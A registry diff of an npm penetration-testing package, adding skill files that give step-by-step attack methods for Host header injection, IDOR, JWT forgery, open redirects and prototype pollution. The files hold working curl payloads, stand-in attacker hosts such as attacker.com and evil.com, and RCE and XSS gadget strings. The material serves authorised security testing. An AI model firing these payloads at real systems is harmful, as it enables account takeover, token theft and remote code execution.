@cyberstrike-io/cyberstrike 1.1.13 → 1.1.14
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/hackbrowser-worker.js +107 -16
- package/package.json +12 -12
- package/postinstall.mjs +18 -5
- package/skill/attack-cache-poison/SKILL.md +124 -0
- package/skill/attack-cors/SKILL.md +116 -0
- package/skill/attack-graphql/SKILL.md +121 -0
- package/skill/attack-host-header/SKILL.md +106 -0
- package/skill/attack-idor-automation/SKILL.md +150 -0
- package/skill/attack-jwt/SKILL.md +122 -0
- package/skill/attack-open-redirect/SKILL.md +129 -0
- package/skill/attack-prototype-pollution/SKILL.md +132 -0
- package/skill/attack-race-condition/SKILL.md +125 -0
- package/skill/attack-rate-limit-bypass/SKILL.md +146 -0
- package/skill/attack-request-smuggling/SKILL.md +164 -0
- package/skill/attack-ssrf/SKILL.md +132 -0
- package/skill/attack-ssti/SKILL.md +126 -0
- package/skill/attack-subdomain-takeover/SKILL.md +114 -0
- package/skill/attack-websocket/SKILL.md +136 -0
- package/skill/attack-xxe/SKILL.md +144 -0
- package/web/assets/{ghostty-web-BMDtVBzn.js → ghostty-web-nFGAkzUN.js} +1 -1
- package/web/assets/{home-zQrDqSYd.js → home-C1IdTiFP.js} +1 -1
- package/web/assets/{index-DnHYEPTe.js → index-D2hzTwHf.js} +41 -41
- package/web/assets/{session-DNtIkF3a.js → session-qd_85VE9.js} +35 -35
- package/web/index.html +1 -1
|
@@ -0,0 +1,106 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: attack-host-header
|
|
3
|
+
description: "Host header injection — password reset poisoning, cache poisoning, routing bypass, SSRF via Host"
|
|
4
|
+
category: "web-application"
|
|
5
|
+
version: "1.0"
|
|
6
|
+
author: "cyberstrike-official"
|
|
7
|
+
tags:
|
|
8
|
+
- host-header
|
|
9
|
+
- web
|
|
10
|
+
- injection
|
|
11
|
+
- attack
|
|
12
|
+
tech_stack:
|
|
13
|
+
- web
|
|
14
|
+
cwe_ids:
|
|
15
|
+
- CWE-644
|
|
16
|
+
chains_with:
|
|
17
|
+
- attack-cache-poison
|
|
18
|
+
- attack-open-redirect
|
|
19
|
+
prerequisites: []
|
|
20
|
+
severity_boost:
|
|
21
|
+
attack-cache-poison: "Host header + cache poisoning = stored attack affecting all users"
|
|
22
|
+
---
|
|
23
|
+
|
|
24
|
+
# Host Header Injection
|
|
25
|
+
|
|
26
|
+
## Objective
|
|
27
|
+
|
|
28
|
+
Exploit web server reliance on the Host header to poison password reset links, web caches, or route requests to internal services.
|
|
29
|
+
|
|
30
|
+
## Testing Methodology
|
|
31
|
+
|
|
32
|
+
### Phase 1: Password Reset Poisoning
|
|
33
|
+
|
|
34
|
+
```bash
|
|
35
|
+
# Trigger password reset with injected Host
|
|
36
|
+
curl -X POST https://TARGET/forgot-password \
|
|
37
|
+
-H "Host: attacker.com" \
|
|
38
|
+
-d "email=victim@example.com"
|
|
39
|
+
|
|
40
|
+
# X-Forwarded-Host variant
|
|
41
|
+
curl -X POST https://TARGET/forgot-password \
|
|
42
|
+
-H "X-Forwarded-Host: attacker.com" \
|
|
43
|
+
-d "email=victim@example.com"
|
|
44
|
+
```
|
|
45
|
+
|
|
46
|
+
If the reset email link contains `attacker.com`, the token is leaked when victim clicks.
|
|
47
|
+
|
|
48
|
+
### Phase 2: Duplicate Host Headers
|
|
49
|
+
|
|
50
|
+
```bash
|
|
51
|
+
# Two Host headers
|
|
52
|
+
curl https://TARGET/ \
|
|
53
|
+
-H "Host: TARGET" \
|
|
54
|
+
-H "Host: attacker.com"
|
|
55
|
+
|
|
56
|
+
# Host with port injection
|
|
57
|
+
curl https://TARGET/ \
|
|
58
|
+
-H "Host: TARGET:@attacker.com"
|
|
59
|
+
```
|
|
60
|
+
|
|
61
|
+
### Phase 3: X-Forwarded-Host / X-Host
|
|
62
|
+
|
|
63
|
+
```bash
|
|
64
|
+
curl https://TARGET/ -H "X-Forwarded-Host: attacker.com"
|
|
65
|
+
curl https://TARGET/ -H "X-Host: attacker.com"
|
|
66
|
+
curl https://TARGET/ -H "X-Forwarded-Server: attacker.com"
|
|
67
|
+
curl https://TARGET/ -H "X-Original-URL: /admin"
|
|
68
|
+
curl https://TARGET/ -H "X-Rewrite-URL: /admin"
|
|
69
|
+
```
|
|
70
|
+
|
|
71
|
+
### Phase 4: Absolute URL Routing
|
|
72
|
+
|
|
73
|
+
```bash
|
|
74
|
+
# Absolute URL overrides Host header
|
|
75
|
+
curl "https://TARGET/api" \
|
|
76
|
+
-H "Host: internal-admin.TARGET"
|
|
77
|
+
```
|
|
78
|
+
|
|
79
|
+
### Phase 5: Web Cache Poisoning via Host
|
|
80
|
+
|
|
81
|
+
```bash
|
|
82
|
+
# If response is cached with injected host
|
|
83
|
+
curl https://TARGET/ -H "X-Forwarded-Host: attacker.com" -H "X-Cache: miss"
|
|
84
|
+
# Subsequent requests from any user will get poisoned response
|
|
85
|
+
```
|
|
86
|
+
|
|
87
|
+
## What Constitutes a Finding
|
|
88
|
+
|
|
89
|
+
| Finding | Severity |
|
|
90
|
+
|---------|----------|
|
|
91
|
+
| Password reset link contains injected host | Critical (P1) |
|
|
92
|
+
| Cache poisoned with injected host/links | High (P2) |
|
|
93
|
+
| Internal routing bypass (access /admin) | High (P2) |
|
|
94
|
+
| Host header reflected in page without sanitization | Medium (P3) |
|
|
95
|
+
|
|
96
|
+
## Evidence Requirements
|
|
97
|
+
|
|
98
|
+
- Request with injected Host header
|
|
99
|
+
- Response/email showing injected domain
|
|
100
|
+
- For cache poisoning: cached response serving injected content
|
|
101
|
+
- For password reset: full reset URL with attacker domain
|
|
102
|
+
|
|
103
|
+
## References
|
|
104
|
+
|
|
105
|
+
- [PortSwigger: Host Header Attacks](https://portswigger.net/web-security/host-header)
|
|
106
|
+
- [OWASP: Host Header Injection](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/17-Testing_for_Host_Header_Injection)
|
|
@@ -0,0 +1,150 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: attack-idor-automation
|
|
3
|
+
description: "IDOR automated testing — cross-account access, horizontal/vertical privilege escalation, mass data exposure"
|
|
4
|
+
category: "web-application"
|
|
5
|
+
version: "1.0"
|
|
6
|
+
author: "cyberstrike-official"
|
|
7
|
+
tags:
|
|
8
|
+
- idor
|
|
9
|
+
- bac
|
|
10
|
+
- access-control
|
|
11
|
+
- web
|
|
12
|
+
- attack
|
|
13
|
+
tech_stack:
|
|
14
|
+
- web
|
|
15
|
+
cwe_ids:
|
|
16
|
+
- CWE-639
|
|
17
|
+
- CWE-284
|
|
18
|
+
chains_with:
|
|
19
|
+
- attack-jwt
|
|
20
|
+
- attack-graphql
|
|
21
|
+
prerequisites: []
|
|
22
|
+
severity_boost:
|
|
23
|
+
attack-jwt: "JWT tamper + IDOR = full account takeover"
|
|
24
|
+
---
|
|
25
|
+
|
|
26
|
+
# IDOR Automated Testing
|
|
27
|
+
|
|
28
|
+
## Objective
|
|
29
|
+
|
|
30
|
+
Systematically test all API endpoints for Insecure Direct Object Reference vulnerabilities using two accounts with different privilege levels.
|
|
31
|
+
|
|
32
|
+
## Testing Methodology
|
|
33
|
+
|
|
34
|
+
### Phase 1: Set Up Two Accounts
|
|
35
|
+
|
|
36
|
+
1. **Account A** (victim) — owns resources being tested
|
|
37
|
+
2. **Account B** (attacker) — tries to access Account A's resources
|
|
38
|
+
|
|
39
|
+
### Phase 2: Automated Cross-Account Testing
|
|
40
|
+
|
|
41
|
+
```bash
|
|
42
|
+
# Test endpoints from file
|
|
43
|
+
attack_script idor_tester \
|
|
44
|
+
--token-a "VICTIM_JWT" \
|
|
45
|
+
--token-b "ATTACKER_JWT" \
|
|
46
|
+
--endpoints endpoints.txt \
|
|
47
|
+
--json-output
|
|
48
|
+
|
|
49
|
+
# Test comma-separated endpoints
|
|
50
|
+
attack_script idor_tester \
|
|
51
|
+
--token-a "VICTIM_JWT" \
|
|
52
|
+
--token-b "ATTACKER_JWT" \
|
|
53
|
+
--endpoints "https://TARGET/api/users/123,https://TARGET/api/orders/456,https://TARGET/api/profile/123" \
|
|
54
|
+
--method GET
|
|
55
|
+
|
|
56
|
+
# Test write operations
|
|
57
|
+
attack_script idor_tester \
|
|
58
|
+
--token-a "VICTIM_JWT" \
|
|
59
|
+
--token-b "ATTACKER_JWT" \
|
|
60
|
+
--endpoints endpoints.txt \
|
|
61
|
+
--method PUT \
|
|
62
|
+
--data '{"name":"pwned"}'
|
|
63
|
+
```
|
|
64
|
+
|
|
65
|
+
### Phase 3: Manual Testing Patterns
|
|
66
|
+
|
|
67
|
+
**Horizontal IDOR (same role, different user):**
|
|
68
|
+
```bash
|
|
69
|
+
# Sequential IDs
|
|
70
|
+
curl -H "Authorization: Bearer ATTACKER_TOKEN" https://TARGET/api/users/1
|
|
71
|
+
curl -H "Authorization: Bearer ATTACKER_TOKEN" https://TARGET/api/users/2
|
|
72
|
+
|
|
73
|
+
# UUID guessing (if predictable)
|
|
74
|
+
curl -H "Authorization: Bearer ATTACKER_TOKEN" https://TARGET/api/users/UUID_OF_OTHER_USER
|
|
75
|
+
|
|
76
|
+
# Endpoint enumeration
|
|
77
|
+
for id in $(seq 1 100); do
|
|
78
|
+
curl -s -o /dev/null -w "%{http_code} " -H "Authorization: Bearer ATTACKER_TOKEN" "https://TARGET/api/orders/$id"
|
|
79
|
+
done
|
|
80
|
+
```
|
|
81
|
+
|
|
82
|
+
**Vertical IDOR (low-priv accessing high-priv):**
|
|
83
|
+
```bash
|
|
84
|
+
# User accessing admin endpoints
|
|
85
|
+
curl -H "Authorization: Bearer USER_TOKEN" https://TARGET/api/admin/users
|
|
86
|
+
curl -H "Authorization: Bearer USER_TOKEN" https://TARGET/api/admin/settings
|
|
87
|
+
curl -H "Authorization: Bearer USER_TOKEN" https://TARGET/api/internal/reports
|
|
88
|
+
```
|
|
89
|
+
|
|
90
|
+
### Phase 4: HTTP Method Switching
|
|
91
|
+
|
|
92
|
+
```bash
|
|
93
|
+
# GET blocked but DELETE works
|
|
94
|
+
curl -X DELETE -H "Authorization: Bearer ATTACKER_TOKEN" https://TARGET/api/users/VICTIM_ID
|
|
95
|
+
|
|
96
|
+
# GET blocked but PATCH works
|
|
97
|
+
curl -X PATCH -H "Authorization: Bearer ATTACKER_TOKEN" https://TARGET/api/users/VICTIM_ID \
|
|
98
|
+
-d '{"email":"attacker@evil.com"}'
|
|
99
|
+
```
|
|
100
|
+
|
|
101
|
+
### Phase 5: Parameter Pollution
|
|
102
|
+
|
|
103
|
+
```bash
|
|
104
|
+
# Dual ID injection
|
|
105
|
+
curl "https://TARGET/api/profile?user_id=ATTACKER&user_id=VICTIM"
|
|
106
|
+
|
|
107
|
+
# Body override
|
|
108
|
+
curl -X POST https://TARGET/api/transfer \
|
|
109
|
+
-H "Authorization: Bearer ATTACKER_TOKEN" \
|
|
110
|
+
-d '{"from":"VICTIM_ID","to":"ATTACKER_ID","amount":1000}'
|
|
111
|
+
```
|
|
112
|
+
|
|
113
|
+
### Phase 6: Response Comparison
|
|
114
|
+
|
|
115
|
+
```bash
|
|
116
|
+
# Compare responses between two auth contexts
|
|
117
|
+
attack_script response_diff "https://TARGET/api/users/VICTIM_ID" \
|
|
118
|
+
--header-a "Authorization:Bearer VICTIM_TOKEN" \
|
|
119
|
+
--header-b "Authorization:Bearer ATTACKER_TOKEN" \
|
|
120
|
+
--json-output
|
|
121
|
+
```
|
|
122
|
+
|
|
123
|
+
## What Constitutes a Finding
|
|
124
|
+
|
|
125
|
+
| Finding | Severity |
|
|
126
|
+
|---------|----------|
|
|
127
|
+
| Read other user's PII (email, SSN, etc.) | Critical (P1) |
|
|
128
|
+
| Modify other user's data | Critical (P1) |
|
|
129
|
+
| Delete other user's resources | Critical (P1) |
|
|
130
|
+
| Access admin functionality | Critical (P1) |
|
|
131
|
+
| Read non-sensitive data of other user | Medium (P3) |
|
|
132
|
+
|
|
133
|
+
## Evidence Requirements
|
|
134
|
+
|
|
135
|
+
- Two different auth tokens used
|
|
136
|
+
- Endpoint tested
|
|
137
|
+
- Account A (victim) response as baseline
|
|
138
|
+
- Account B (attacker) accessing Account A's resource
|
|
139
|
+
- Data received proving cross-account access
|
|
140
|
+
|
|
141
|
+
## Tools
|
|
142
|
+
|
|
143
|
+
- `attack_script idor_tester` — automated cross-account testing
|
|
144
|
+
- `attack_script response_diff` — response comparison
|
|
145
|
+
- `attack_script jwt_tamper` — token manipulation for IDOR
|
|
146
|
+
|
|
147
|
+
## References
|
|
148
|
+
|
|
149
|
+
- [OWASP: IDOR](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/04-Testing_for_Insecure_Direct_Object_References)
|
|
150
|
+
- [PortSwigger: Access Control](https://portswigger.net/web-security/access-control/idor)
|
|
@@ -0,0 +1,122 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: attack-jwt
|
|
3
|
+
description: "JWT token attacks — alg:none bypass, key confusion, claim tampering, signature stripping"
|
|
4
|
+
category: "web-application"
|
|
5
|
+
version: "1.0"
|
|
6
|
+
author: "cyberstrike-official"
|
|
7
|
+
tags:
|
|
8
|
+
- jwt
|
|
9
|
+
- authentication
|
|
10
|
+
- web
|
|
11
|
+
- token
|
|
12
|
+
- attack
|
|
13
|
+
tech_stack:
|
|
14
|
+
- web
|
|
15
|
+
cwe_ids:
|
|
16
|
+
- CWE-287
|
|
17
|
+
- CWE-347
|
|
18
|
+
- CWE-345
|
|
19
|
+
chains_with:
|
|
20
|
+
- attack-idor-automation
|
|
21
|
+
prerequisites: []
|
|
22
|
+
severity_boost:
|
|
23
|
+
attack-idor-automation: "JWT tampering + IDOR = full account takeover"
|
|
24
|
+
---
|
|
25
|
+
|
|
26
|
+
# JWT Token Attack
|
|
27
|
+
|
|
28
|
+
## Objective
|
|
29
|
+
|
|
30
|
+
Exploit JWT implementation weaknesses to bypass authentication, escalate privileges, or forge tokens.
|
|
31
|
+
|
|
32
|
+
## Testing Methodology
|
|
33
|
+
|
|
34
|
+
### Phase 1: Decode & Analyze
|
|
35
|
+
|
|
36
|
+
```bash
|
|
37
|
+
# Automated JWT analysis and tamper token generation
|
|
38
|
+
attack_script jwt_tamper EYTOKEN --json-output
|
|
39
|
+
|
|
40
|
+
# Manual decode
|
|
41
|
+
echo "HEADER.PAYLOAD.SIG" | cut -d. -f1 | base64 -d 2>/dev/null
|
|
42
|
+
echo "HEADER.PAYLOAD.SIG" | cut -d. -f2 | base64 -d 2>/dev/null
|
|
43
|
+
```
|
|
44
|
+
|
|
45
|
+
Check for:
|
|
46
|
+
- Algorithm (`alg` field): RS256, HS256, none
|
|
47
|
+
- Claims: `role`, `is_admin`, `sub`, `exp`, `aud`, `iss`
|
|
48
|
+
- Key ID (`kid`): SQL injection, path traversal potential
|
|
49
|
+
|
|
50
|
+
### Phase 2: Algorithm Attacks
|
|
51
|
+
|
|
52
|
+
```bash
|
|
53
|
+
# Generate alg=none token
|
|
54
|
+
attack_script jwt_tamper EYTOKEN --set-header alg=none
|
|
55
|
+
|
|
56
|
+
# Role escalation
|
|
57
|
+
attack_script jwt_tamper EYTOKEN --set role=admin --set-header alg=none
|
|
58
|
+
|
|
59
|
+
# User ID swap
|
|
60
|
+
attack_script jwt_tamper EYTOKEN --set sub=1 --set-header alg=none
|
|
61
|
+
|
|
62
|
+
# HS256 with known/weak key
|
|
63
|
+
attack_script jwt_tamper EYTOKEN --set role=admin --key "secret"
|
|
64
|
+
```
|
|
65
|
+
|
|
66
|
+
### Phase 3: Key Confusion (RS256 → HS256)
|
|
67
|
+
|
|
68
|
+
If server uses RS256, try signing with the public key as HS256 secret:
|
|
69
|
+
|
|
70
|
+
```bash
|
|
71
|
+
# Fetch public key
|
|
72
|
+
curl -s https://TARGET/.well-known/jwks.json
|
|
73
|
+
|
|
74
|
+
# Convert JWK to PEM and sign
|
|
75
|
+
attack_script jwt_tamper EYTOKEN --set role=admin --key "$(cat public.pem)" --set-header alg=HS256
|
|
76
|
+
```
|
|
77
|
+
|
|
78
|
+
### Phase 4: kid Injection
|
|
79
|
+
|
|
80
|
+
```bash
|
|
81
|
+
# SQL injection via kid
|
|
82
|
+
attack_script jwt_tamper EYTOKEN --set-header "kid=../../../../../../dev/null" --key ""
|
|
83
|
+
|
|
84
|
+
# kid pointing to accessible file
|
|
85
|
+
attack_script jwt_tamper EYTOKEN --set-header "kid=/proc/sys/kernel/hostname"
|
|
86
|
+
```
|
|
87
|
+
|
|
88
|
+
### Phase 5: Verify Impact
|
|
89
|
+
|
|
90
|
+
```bash
|
|
91
|
+
# Test tampered token
|
|
92
|
+
curl -s -H "Authorization: Bearer TAMPERED_TOKEN" https://TARGET/api/admin/users
|
|
93
|
+
```
|
|
94
|
+
|
|
95
|
+
## What Constitutes a Finding
|
|
96
|
+
|
|
97
|
+
| Attack | Severity |
|
|
98
|
+
|--------|----------|
|
|
99
|
+
| alg=none accepted — auth bypass | Critical (P1) |
|
|
100
|
+
| Role escalation via claim tampering | Critical (P1) |
|
|
101
|
+
| RS256→HS256 key confusion | Critical (P1) |
|
|
102
|
+
| Weak signing key (crackable) | High (P2) |
|
|
103
|
+
| kid SQL injection | Critical (P1) |
|
|
104
|
+
| Expired tokens accepted | Medium (P3) |
|
|
105
|
+
|
|
106
|
+
## Evidence Requirements
|
|
107
|
+
|
|
108
|
+
- Original JWT decoded (header + payload)
|
|
109
|
+
- Tampered JWT with modified claims
|
|
110
|
+
- Server response accepting tampered token
|
|
111
|
+
- Proof of elevated access (admin data, other user data)
|
|
112
|
+
|
|
113
|
+
## Tools
|
|
114
|
+
|
|
115
|
+
- `attack_script jwt_tamper` — automated decode/tamper/re-encode
|
|
116
|
+
- `jwt_tool` (external) — comprehensive JWT testing
|
|
117
|
+
- `hashcat -m 16500` — JWT secret cracking
|
|
118
|
+
|
|
119
|
+
## References
|
|
120
|
+
|
|
121
|
+
- [PortSwigger: JWT Attacks](https://portswigger.net/web-security/jwt)
|
|
122
|
+
- [RFC 7519 - JSON Web Token](https://tools.ietf.org/html/rfc7519)
|
|
@@ -0,0 +1,129 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: attack-open-redirect
|
|
3
|
+
description: "Open redirect exploitation — URL parameter manipulation, OAuth token theft, phishing chains"
|
|
4
|
+
category: "web-application"
|
|
5
|
+
version: "1.0"
|
|
6
|
+
author: "cyberstrike-official"
|
|
7
|
+
tags:
|
|
8
|
+
- open-redirect
|
|
9
|
+
- web
|
|
10
|
+
- phishing
|
|
11
|
+
- oauth
|
|
12
|
+
- attack
|
|
13
|
+
tech_stack:
|
|
14
|
+
- web
|
|
15
|
+
cwe_ids:
|
|
16
|
+
- CWE-601
|
|
17
|
+
chains_with:
|
|
18
|
+
- attack-cors
|
|
19
|
+
- attack-jwt
|
|
20
|
+
prerequisites: []
|
|
21
|
+
severity_boost:
|
|
22
|
+
attack-jwt: "Open redirect + OAuth = JWT/token theft"
|
|
23
|
+
---
|
|
24
|
+
|
|
25
|
+
# Open Redirect
|
|
26
|
+
|
|
27
|
+
## Objective
|
|
28
|
+
|
|
29
|
+
Exploit URL redirect parameters to redirect users to attacker-controlled domains, steal OAuth tokens, or bypass security controls.
|
|
30
|
+
|
|
31
|
+
## Testing Methodology
|
|
32
|
+
|
|
33
|
+
### Phase 1: Identify Redirect Parameters
|
|
34
|
+
|
|
35
|
+
Common parameter names:
|
|
36
|
+
```
|
|
37
|
+
url, redirect, redirect_url, redirect_uri, return, return_url, returnTo,
|
|
38
|
+
next, goto, target, dest, destination, rurl, redir, forward, continue,
|
|
39
|
+
callback, path, out, view, login_url, image_url, go, link, ref
|
|
40
|
+
```
|
|
41
|
+
|
|
42
|
+
### Phase 2: Basic Payloads
|
|
43
|
+
|
|
44
|
+
```bash
|
|
45
|
+
# Direct redirect
|
|
46
|
+
curl -s -D- "https://TARGET/redirect?url=https://evil.com"
|
|
47
|
+
|
|
48
|
+
# Protocol-relative
|
|
49
|
+
curl -s -D- "https://TARGET/redirect?url=//evil.com"
|
|
50
|
+
|
|
51
|
+
# Encoded
|
|
52
|
+
curl -s -D- "https://TARGET/redirect?url=https%3A%2F%2Fevil.com"
|
|
53
|
+
|
|
54
|
+
# Backslash bypass
|
|
55
|
+
curl -s -D- "https://TARGET/redirect?url=https://evil.com\@TARGET"
|
|
56
|
+
|
|
57
|
+
# At-sign bypass
|
|
58
|
+
curl -s -D- "https://TARGET/redirect?url=https://TARGET@evil.com"
|
|
59
|
+
```
|
|
60
|
+
|
|
61
|
+
### Phase 3: Filter Bypass
|
|
62
|
+
|
|
63
|
+
```bash
|
|
64
|
+
# Subdomain matching
|
|
65
|
+
curl -s -D- "https://TARGET/redirect?url=https://TARGET.evil.com"
|
|
66
|
+
|
|
67
|
+
# URL encoding tricks
|
|
68
|
+
curl -s -D- "https://TARGET/redirect?url=https://evil.com%23.TARGET"
|
|
69
|
+
|
|
70
|
+
# Double encoding
|
|
71
|
+
curl -s -D- "https://TARGET/redirect?url=https://%65%76%69%6c.com"
|
|
72
|
+
|
|
73
|
+
# Null byte
|
|
74
|
+
curl -s -D- "https://TARGET/redirect?url=https://evil.com%00.TARGET"
|
|
75
|
+
|
|
76
|
+
# CRLF + Location header
|
|
77
|
+
curl -s -D- "https://TARGET/redirect?url=%0d%0aLocation:%20https://evil.com"
|
|
78
|
+
|
|
79
|
+
# JavaScript scheme
|
|
80
|
+
curl -s -D- "https://TARGET/redirect?url=javascript:alert(document.domain)"
|
|
81
|
+
|
|
82
|
+
# Data URI
|
|
83
|
+
curl -s -D- "https://TARGET/redirect?url=data:text/html,<script>alert(1)</script>"
|
|
84
|
+
```
|
|
85
|
+
|
|
86
|
+
### Phase 4: OAuth Token Theft
|
|
87
|
+
|
|
88
|
+
```bash
|
|
89
|
+
# Test with OAuth tester
|
|
90
|
+
attack_script oauth_tester "https://TARGET/oauth/authorize" \
|
|
91
|
+
--client-id CLIENT_ID \
|
|
92
|
+
--redirect-uri "https://TARGET/callback" \
|
|
93
|
+
--json-output
|
|
94
|
+
```
|
|
95
|
+
|
|
96
|
+
If redirect_uri accepts attacker domain, the OAuth code/token is sent to the attacker.
|
|
97
|
+
|
|
98
|
+
### Phase 5: Impact Escalation
|
|
99
|
+
|
|
100
|
+
- Redirect in login flow → credential phishing
|
|
101
|
+
- Redirect in OAuth flow → token theft (P1)
|
|
102
|
+
- Redirect in email verification → account takeover
|
|
103
|
+
- Redirect + SSRF → internal access
|
|
104
|
+
|
|
105
|
+
## What Constitutes a Finding
|
|
106
|
+
|
|
107
|
+
| Finding | Severity |
|
|
108
|
+
|---------|----------|
|
|
109
|
+
| Open redirect + OAuth token theft | Critical (P1) |
|
|
110
|
+
| Open redirect in login/auth flow | High (P2) |
|
|
111
|
+
| Generic open redirect | Medium (P3) |
|
|
112
|
+
| JavaScript scheme redirect (XSS) | High (P2) |
|
|
113
|
+
|
|
114
|
+
## Evidence Requirements
|
|
115
|
+
|
|
116
|
+
- URL with redirect parameter and payload
|
|
117
|
+
- Response showing 302/301 to attacker domain
|
|
118
|
+
- For OAuth: stolen authorization code/token
|
|
119
|
+
- Location header value in response
|
|
120
|
+
|
|
121
|
+
## Tools
|
|
122
|
+
|
|
123
|
+
- `attack_script oauth_tester` — OAuth redirect_uri bypass testing
|
|
124
|
+
- `curl` — manual redirect testing
|
|
125
|
+
|
|
126
|
+
## References
|
|
127
|
+
|
|
128
|
+
- [PortSwigger: Open Redirect](https://portswigger.net/kb/issues/00500100_open-redirection-reflected)
|
|
129
|
+
- [OWASP: Unvalidated Redirects](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)
|
|
@@ -0,0 +1,132 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: attack-prototype-pollution
|
|
3
|
+
description: "JavaScript prototype pollution — __proto__ injection, constructor.prototype, gadget chain exploitation"
|
|
4
|
+
category: "web-application"
|
|
5
|
+
version: "1.0"
|
|
6
|
+
author: "cyberstrike-official"
|
|
7
|
+
tags:
|
|
8
|
+
- prototype-pollution
|
|
9
|
+
- javascript
|
|
10
|
+
- web
|
|
11
|
+
- xss
|
|
12
|
+
- attack
|
|
13
|
+
tech_stack:
|
|
14
|
+
- javascript
|
|
15
|
+
- nodejs
|
|
16
|
+
- web
|
|
17
|
+
cwe_ids:
|
|
18
|
+
- CWE-1321
|
|
19
|
+
chains_with:
|
|
20
|
+
- attack-ssti
|
|
21
|
+
prerequisites: []
|
|
22
|
+
severity_boost:
|
|
23
|
+
attack-ssti: "Prototype pollution → SSTI gadgets = RCE"
|
|
24
|
+
---
|
|
25
|
+
|
|
26
|
+
# Prototype Pollution
|
|
27
|
+
|
|
28
|
+
## Objective
|
|
29
|
+
|
|
30
|
+
Exploit JavaScript prototype pollution to modify Object.prototype, leading to XSS, privilege escalation, or RCE via gadget chains.
|
|
31
|
+
|
|
32
|
+
## Testing Methodology
|
|
33
|
+
|
|
34
|
+
### Phase 1: Client-Side Detection
|
|
35
|
+
|
|
36
|
+
**URL-based pollution:**
|
|
37
|
+
```
|
|
38
|
+
https://TARGET/?__proto__[polluted]=1
|
|
39
|
+
https://TARGET/?__proto__.polluted=1
|
|
40
|
+
https://TARGET/?constructor[prototype][polluted]=1
|
|
41
|
+
https://TARGET/#__proto__[polluted]=1
|
|
42
|
+
```
|
|
43
|
+
|
|
44
|
+
Verify in browser console:
|
|
45
|
+
```javascript
|
|
46
|
+
console.log(({}).polluted) // Should print "1" if vulnerable
|
|
47
|
+
```
|
|
48
|
+
|
|
49
|
+
### Phase 2: JSON Body Pollution
|
|
50
|
+
|
|
51
|
+
```bash
|
|
52
|
+
# Merge/patch endpoints
|
|
53
|
+
curl -X POST https://TARGET/api/settings \
|
|
54
|
+
-H "Content-Type: application/json" \
|
|
55
|
+
-d '{"__proto__": {"isAdmin": true}}'
|
|
56
|
+
|
|
57
|
+
curl -X PATCH https://TARGET/api/user/profile \
|
|
58
|
+
-d '{"constructor": {"prototype": {"role": "admin"}}}'
|
|
59
|
+
|
|
60
|
+
# Nested object merge
|
|
61
|
+
curl -X PUT https://TARGET/api/config \
|
|
62
|
+
-d '{"a": {"__proto__": {"polluted": true}}}'
|
|
63
|
+
```
|
|
64
|
+
|
|
65
|
+
### Phase 3: Server-Side Detection (Node.js)
|
|
66
|
+
|
|
67
|
+
```bash
|
|
68
|
+
# RCE via child_process gadget
|
|
69
|
+
curl -X POST https://TARGET/api/merge \
|
|
70
|
+
-H "Content-Type: application/json" \
|
|
71
|
+
-d '{"__proto__": {"shell": "/proc/self/exe", "argv0": "console.log(require(\"child_process\").execSync(\"id\").toString())", "NODE_OPTIONS": "--require /proc/self/cmdline"}}'
|
|
72
|
+
|
|
73
|
+
# EJS template gadget
|
|
74
|
+
curl -X POST https://TARGET/api/settings \
|
|
75
|
+
-d '{"__proto__": {"outputFunctionName": "x;process.mainModule.require(\"child_process\").execSync(\"id\");s"}}'
|
|
76
|
+
|
|
77
|
+
# Handlebars gadget
|
|
78
|
+
curl -X POST https://TARGET/api/settings \
|
|
79
|
+
-d '{"__proto__": {"type": "Program", "body": [{"type": "MustacheStatement", "params": [], "path": {"type": "PathExpression", "original": "constructor"}}]}}'
|
|
80
|
+
```
|
|
81
|
+
|
|
82
|
+
### Phase 4: Client-Side Gadgets
|
|
83
|
+
|
|
84
|
+
Common DOM gadgets when `Object.prototype` is polluted:
|
|
85
|
+
|
|
86
|
+
```javascript
|
|
87
|
+
// innerHTML gadget
|
|
88
|
+
Object.prototype.innerHTML = '<img src=x onerror=alert(1)>'
|
|
89
|
+
|
|
90
|
+
// src gadget
|
|
91
|
+
Object.prototype.src = 'javascript:alert(1)'
|
|
92
|
+
|
|
93
|
+
// href gadget
|
|
94
|
+
Object.prototype.href = 'javascript:alert(1)'
|
|
95
|
+
|
|
96
|
+
// data-* attributes
|
|
97
|
+
Object.prototype['data-tooltip'] = '<img src=x onerror=alert(1)>'
|
|
98
|
+
```
|
|
99
|
+
|
|
100
|
+
### Phase 5: Framework-Specific
|
|
101
|
+
|
|
102
|
+
**Express.js / Pug:**
|
|
103
|
+
```json
|
|
104
|
+
{"__proto__": {"block": {"type": "Text", "val": "x]));process.exit()//"}}}
|
|
105
|
+
```
|
|
106
|
+
|
|
107
|
+
**Lodash merge:**
|
|
108
|
+
```json
|
|
109
|
+
{"__proto__": {"polluted": true}}
|
|
110
|
+
```
|
|
111
|
+
|
|
112
|
+
## What Constitutes a Finding
|
|
113
|
+
|
|
114
|
+
| Finding | Severity |
|
|
115
|
+
|---------|----------|
|
|
116
|
+
| Server-side RCE via prototype pollution gadget | Critical (P1) |
|
|
117
|
+
| Privilege escalation (isAdmin=true) | Critical (P1) |
|
|
118
|
+
| Client-side XSS via DOM gadget | High (P2) |
|
|
119
|
+
| Prototype pollution without known gadget | Medium (P3) |
|
|
120
|
+
|
|
121
|
+
## Evidence Requirements
|
|
122
|
+
|
|
123
|
+
- Endpoint accepting merge/deep-copy of user input
|
|
124
|
+
- Payload sent (__proto__ or constructor.prototype)
|
|
125
|
+
- Proof of pollution (new property on empty object)
|
|
126
|
+
- For RCE: command output
|
|
127
|
+
- For XSS: JavaScript execution proof
|
|
128
|
+
|
|
129
|
+
## References
|
|
130
|
+
|
|
131
|
+
- [PortSwigger: Prototype Pollution](https://portswigger.net/web-security/prototype-pollution)
|
|
132
|
+
- [Server-Side Prototype Pollution](https://portswigger.net/research/server-side-prototype-pollution)
|